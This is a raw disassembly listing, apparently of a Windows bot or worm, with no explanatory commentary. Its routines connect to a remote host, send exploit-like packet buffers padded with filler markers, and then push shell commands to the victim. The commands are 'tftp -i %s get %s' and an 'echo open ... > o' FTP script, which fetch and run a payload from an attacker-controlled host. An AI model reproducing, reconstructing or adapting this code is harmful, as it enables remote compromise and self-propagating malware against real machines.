		call	sub_40A155
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_415A4A
		add	esp, 18h
		push	esi
		push	esi
		push	ds:dword_438FBC
		push	[ebp+arg_0]
		call	sub_40A155
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_415A4A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	ds:dword_43A3C8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403825
		push	1F4h
		call	ds:dword_421060	; Sleep
		push	esi
		push	offset dword_425050
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_415A4A
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	ds:dword_43A3C8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403829


loc_403825:				; CODE XREF: sub_4036EB+51j
					; sub_4036EB+67j ...
		xor	al, al
		jmp	short loc_403847
; ---------------------------------------------------------------------------


loc_403829:				; CODE XREF: sub_4036EB+138j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	ds:dword_43A390	; recv
		push	ebx
		call	ds:dword_43A410	; closesocket
		mov	al, 1


loc_403847:				; CODE XREF: sub_4036EB+13Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4036EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40384C	proc near		; CODE XREF: sub_403C8B+125p
					; sub_403C8B+147p

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
var_1CC4	= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B4h
		call	sub_415D50
		mov	eax, ds:dword_4250D0
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, ds:dword_4250D4
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset loc_4250C4
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		xor	ebx, ebx
		xor	esi, esi
		lea	eax, [ebp+var_103]


loc_40388B:				; CODE XREF: sub_40384C+4Ej
		mov	cl, [ebp+esi+var_3C]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, 28h
		jl	short loc_40388B
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_425B10
		push	eax
		call	sub_4155B0
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_415CD0
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_4155B0
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC_0+3)
		push	eax
		call	sub_415CD0
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_4155B0
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_415CD0
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_4155B0
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_415CD0
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_4155B0
		mov	ax, word ptr ds:dword_438FA0
		add	esp, 2Ch
		push	eax
		call	ds:dword_43A378	; ntohs
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_425810
		call	sub_4155B0
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_403A48
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC4]
		push	edi
		push	90h
		push	eax
		call	sub_415550
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	eax, dword_425F38[eax]
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_14E0]
		push	eax
		call	sub_4155B0
		mov	esi, offset loc_425760
		push	esi
		call	sub_415CD0
		push	eax
		lea	eax, [ebp+var_14D0]
		push	esi
		push	eax
		call	sub_4155B0
		push	4
		lea	eax, [ebp+var_11AC]
		push	offset loc_4250BC
		push	eax
		call	sub_4155B0
		push	4
		lea	eax, [ebp+var_11A8]
		push	[ebp+var_14]
		push	eax
		call	sub_4155B0
		add	esp, 40h
		push	esi
		call	sub_415CD0
		push	eax
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_4155B0
		add	esp, 10h
		xor	esi, esi
		lea	eax, [ebp+var_4803]


loc_403A01:				; CODE XREF: sub_40384C+1C6j
		mov	cl, [ebp+esi+var_1CC4]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, edi
		jl	short loc_403A01
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B4]
		push	esi
		push	31h
		push	eax
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	sub_415550
		push	esi
		lea	eax, [ebp+var_68DC]
		push	31h
		push	eax
		call	sub_415550
		add	esp, 18h
		jmp	short loc_403A9F
; ---------------------------------------------------------------------------


loc_403A48:				; CODE XREF: sub_40384C+118j
		push	7D0h
		lea	eax, [ebp+var_F14]
		push	90h
		push	eax
		call	sub_415550
		mov	esi, offset loc_425760
		push	esi
		call	sub_415CD0
		push	eax
		lea	eax, [ebp+var_E74]
		push	esi
		push	eax
		call	sub_4155B0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_415CD0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_758]
		push	eax
		call	sub_4155B0
		mov	eax, ds:dword_425F38
		add	esp, 2Ch
		mov	[ebp+var_768], eax


loc_403A9F:				; CODE XREF: sub_40384C+1FAj
		push	0E29h
		lea	eax, [ebp+var_2CA8]
		push	31h
		push	eax
		call	sub_415550
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		add	eax, 4
		push	ebx
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	edi
		call	ds:dword_43A3C8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403ADE


loc_403AD7:				; CODE XREF: sub_40384C+2B9j
					; sub_40384C+2E0j ...
		xor	al, al
		jmp	loc_403C86
; ---------------------------------------------------------------------------


loc_403ADE:				; CODE XREF: sub_40384C+289j
		mov	esi, 640h
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	ds:dword_43A390	; recv
		push	ebx
		push	68h
		push	offset dword_425B74
		push	edi
		call	ds:dword_43A3C8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403AD7
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	ds:dword_43A390	; recv
		push	ebx
		push	0A0h
		push	offset dword_425BE0
		push	edi
		call	ds:dword_43A3C8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403AD7
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	ds:dword_43A390	; recv
		cmp	[ebp+arg_C0], ebx
		jz	loc_403BF4
		push	68h
		lea	eax, [ebp+var_89B4]
		push	offset dword_425D98
		push	eax
		call	sub_4155B0
		lea	eax, [ebp+var_4804]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_894C]
		push	eax
		call	sub_4155B0
		push	70h
		lea	eax, [ebp+var_68DC]
		push	offset dword_425E04
		push	eax
		call	sub_4155B0
		lea	eax, [ebp+var_3770]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_686C]
		push	eax
		call	sub_4155B0
		push	84h
		lea	eax, [ebp+var_5DA8]
		push	offset dword_425E78
		push	eax
		call	sub_4155B0
		add	esp, 3Ch
		lea	eax, [ebp+var_89B4]
		push	ebx
		push	10FCh
		push	eax
		push	edi
		call	ds:dword_43A3C8	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_403AD7
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	ds:dword_43A390	; recv
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_403C4A
; ---------------------------------------------------------------------------


loc_403BF4:				; CODE XREF: sub_40384C+2F8j
		push	7Ch
		lea	eax, [ebp+var_2CA8]
		push	offset dword_425C84
		push	eax
		call	sub_4155B0
		lea	eax, [ebp+var_F14]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C2C]
		push	eax
		call	sub_4155B0
		push	90h
		lea	eax, [ebp+var_245C]
		push	offset off_425D04
		push	eax
		call	sub_4155B0
		add	esp, 24h
		mov	[ebp+var_1FB1],	bl
		lea	eax, [ebp+var_2CA8]
		push	ebx
		push	0CF8h


loc_403C4A:				; CODE XREF: sub_40384C+3A6j
		push	eax
		push	edi
		call	ds:dword_43A3C8	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_403AD7
		push	12Ch
		call	ds:dword_421060	; Sleep
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4036EB
		add	esp, 0BCh
		test	al, al
		setnz	al


loc_403C86:				; CODE XREF: sub_40384C+28Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40384C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403C8B	proc near		; CODE XREF: seg000:00402FC3p
					; seg000:00403E78p ...

var_854		= byte ptr -854h
var_810		= byte ptr -810h
var_214		= byte ptr -214h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h

		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		push	0BB80h
		push	76Ch
		call	sub_41407E
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_415550
		add	esp, 14h
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_14], 2
		push	eax
		call	ds:dword_43A3B8	; inet_addr
		push	[ebp+arg_A0]
		mov	[ebp+var_10], eax
		call	ds:dword_43A378	; ntohs
		push	6
		push	1
		push	2
		mov	[ebp+var_12], ax
		call	ds:dword_43A3F8	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403D93
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_43A320	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_403D93
		push	edi
		push	89h
		push	offset dword_4258F8
		push	ebx
		call	ds:dword_43A3C8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403D93
		mov	esi, 640h
		push	edi
		lea	eax, [ebp+var_854]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_43A390	; recv
		push	edi
		push	0A8h
		push	offset dword_425984
		push	ebx
		call	ds:dword_43A3C8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403D93
		push	edi
		lea	eax, [ebp+var_854]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_43A390	; recv
		push	edi
		push	0DEh
		push	offset dword_425A30
		push	ebx
		call	ds:dword_43A3C8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403D93
		push	edi
		lea	eax, [ebp+var_854]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_43A390	; recv
		movsx	eax, [ebp+var_810]
		sub	eax, 30h
		jz	short loc_403D9D
		dec	eax
		jz	short loc_403D9A


loc_403D93:				; CODE XREF: sub_403C8B+63j
					; sub_403C8B+79j ...
		xor	eax, eax
		jmp	loc_403E37
; ---------------------------------------------------------------------------


loc_403D9A:				; CODE XREF: sub_403C8B+106j
		push	edi
		jmp	short loc_403DC1
; ---------------------------------------------------------------------------


loc_403D9D:				; CODE XREF: sub_403C8B+103j
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40384C
		add	esp, 0C4h
		test	al, al
		jnz	short loc_403DE1
		push	1


loc_403DC1:				; CODE XREF: sub_403C8B+110j
		push	ebx
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40384C
		add	esp, 0C4h
		test	al, al
		jz	short loc_403DE8


loc_403DE1:				; CODE XREF: sub_403C8B+132j
		mov	[ebp+var_4], 1


loc_403DE8:				; CODE XREF: sub_403C8B+154j
		push	ebx
		call	ds:dword_43A410	; closesocket
		cmp	[ebp+var_4], 0
		jz	short loc_403E34
		push	0
		lea	eax, [ebp+var_214]
		push	[ebp+arg_B0]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_412D32
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B151
		mov	eax, [ebp+arg_A8]
		add	esp, 18h
		imul	eax, 3Ch
		inc	ds:dword_427308[eax]
		lea	eax, dword_427308[eax]


loc_403E34:				; CODE XREF: sub_403C8B+168j
		push	1
		pop	eax


loc_403E37:				; CODE XREF: sub_403C8B+10Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403C8B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		mov	dword ptr [ebp+0A8h], 1BDh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402DDD
		push	2Fh
		lea	esi, [ebp+8]
		pop	ecx
		mov	dword ptr [ebp+0A8h], 1BDh
		mov	edi, esp
		mov	[ebp-4], eax
		rep movsd
		call	sub_403C8B
		add	esp, 0BCh
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_403E8D
		test	eax, eax
		jz	short loc_403E90


loc_403E8D:				; CODE XREF: seg000:00403E87j
		push	1
		pop	eax


loc_403E90:				; CODE XREF: seg000:00403E8Bj
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_403E94	proc near		; CODE XREF: sub_404108+Ep
					; sub_404108+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_403E94	endp


; =============== S U B	R O U T	I N E =======================================



sub_403E9E	proc near		; CODE XREF: sub_404108+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_415DA9
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_403ED0
		push	ebx
		push	0
		push	edi
		call	sub_415550
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_4155B0
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_403ED0:				; CODE XREF: sub_403E9E+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_403E9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403ED8	proc near		; CODE XREF: sub_403FD2+18p
					; sub_40404C+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_415DA9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_403F24
		push	edi
		push	0
		push	esi
		call	sub_415550
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_4155B0
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_4155B0
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_403F24:				; CODE XREF: sub_403ED8+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_403ED8	endp


; =============== S U B	R O U T	I N E =======================================



sub_403F2D	proc near		; CODE XREF: sub_403FD2+5Ep
					; sub_403FD2+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_403F3D
		push	eax
		call	sub_415E1D
		pop	ecx


loc_403F3D:				; CODE XREF: sub_403F2D+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_403F2D	endp


; =============== S U B	R O U T	I N E =======================================



sub_403F46	proc near		; CODE XREF: sub_403FD2+20p
					; sub_4040AD+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_403F73
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_415DA9
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_403F77


loc_403F73:				; CODE XREF: sub_403F46+Dj
		xor	al, al
		jmp	short loc_403FCE
; ---------------------------------------------------------------------------


loc_403F77:				; CODE XREF: sub_403F46+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_415550
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_403F9C
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_403FB6
; ---------------------------------------------------------------------------


loc_403F9C:				; CODE XREF: sub_403F46+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_403FB6:				; CODE XREF: sub_403F46+54j
		push	eax
		call	sub_4155B0
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_415E1D
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_403FCE:				; CODE XREF: sub_403F46+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403F46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403FD2	proc near		; CODE XREF: sub_404108+89p
					; sub_404108+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_438FB4
		call	sub_403ED8
		lea	ecx, [ebp+var_8]
		call	sub_403F46
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_415DA9
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40400C
		xor	al, al
		jmp	short loc_404048
; ---------------------------------------------------------------------------


loc_40400C:				; CODE XREF: sub_403FD2+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_415550
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_4155B0
		add	esp, 18h
		mov	ecx, esi
		call	sub_403F2D
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_403F2D
		mov	al, 1


loc_404048:				; CODE XREF: sub_403FD2+38j
		pop	edi
		pop	esi
		leave
		retn
sub_403FD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40404C	proc near		; CODE XREF: sub_404080+14p
					; sub_40409D+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_403ED8
		mov	ecx, esi
		call	sub_403F2D
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40404C	endp


; =============== S U B	R O U T	I N E =======================================



sub_404080	proc near		; CODE XREF: sub_404108+F0p
					; sub_404108+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_415CD0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40404C
		pop	esi
		retn	4
sub_404080	endp


; =============== S U B	R O U T	I N E =======================================



sub_40409D	proc near		; CODE XREF: sub_4040E9+Bp
					; sub_404108+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40404C
		retn	8
sub_40409D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4040AD	proc near		; CODE XREF: sub_4040E9+16p
					; sub_404108+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_403F46
		test	al, al
		jz	short loc_4040E6
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	(offset	loc_4263DB+1)
		call	sub_403ED8
		mov	ecx, esi
		call	sub_403F2D
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_4040E6:				; CODE XREF: sub_4040AD+Fj
		pop	esi
		leave
		retn
sub_4040AD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4040E9	proc near		; CODE XREF: sub_404108+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40409D
		test	al, al
		jz	short loc_404104
		mov	ecx, esi
		call	sub_4040AD


loc_404104:				; CODE XREF: sub_4040E9+12j
		pop	esi
		retn	8
sub_4040E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404108	proc near		; CODE XREF: seg000:0040498Dp

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_403E94
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40445C
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40445C
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_403E94
		lea	ecx, [ebp+var_20]
		call	sub_403E94
		lea	ecx, [ebp+var_50]
		call	sub_403E94
		lea	ecx, [ebp+var_18]
		call	sub_403E94
		lea	ecx, [ebp+var_40]
		call	sub_403E94
		lea	ecx, [ebp+var_38]
		call	sub_403E94
		lea	ecx, [ebp+var_28]
		call	sub_403E94
		push	4
		push	offset dword_42607C
		lea	ecx, [ebp+var_30]
		call	sub_40404C
		push	3
		push	offset dword_426084
		lea	ecx, [ebp+var_30]
		call	sub_40404C
		lea	ecx, [ebp+var_30]
		call	sub_403FD2
		lea	ecx, [ebp+var_30]
		call	sub_4040AD
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_415550
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40404C
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40404C
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40404C
		lea	ecx, [ebp+var_20]
		call	sub_403FD2
		push	offset loc_426404
		lea	ecx, [ebp+var_50]
		call	sub_404080
		lea	ecx, [ebp+var_50]
		call	sub_403FD2
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_415550
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_403E9E
		lea	ecx, [ebp+var_58]
		call	sub_403FD2
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_4040E9
		lea	ecx, [ebp+var_58]
		call	sub_403F2D
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_415550
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_404080
		push	4
		push	offset dword_426088
		lea	ecx, [ebp+var_18]
		call	sub_40404C
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40404C
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40404C
		lea	ecx, [ebp+var_18]
		call	sub_403FD2
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40409D
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40409D
		lea	ecx, [ebp+var_40]
		call	sub_4040AD
		lea	ecx, [ebp+var_18]
		call	sub_403F2D
		lea	ecx, [ebp+var_50]
		call	sub_403F2D
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40409D
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40409D
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40409D
		lea	ecx, [ebp+var_38]
		call	sub_4040AD
		lea	ecx, [ebp+var_20]
		call	sub_403F2D
		lea	ecx, [ebp+var_30]
		call	sub_403F2D
		lea	ecx, [ebp+var_40]
		call	sub_403F2D
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_415550
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40404C
		lea	ecx, [ebp+var_28]
		call	sub_403FD2
		push	2
		push	offset dword_4263F8
		lea	ecx, [ebp+var_28]
		call	sub_40404C
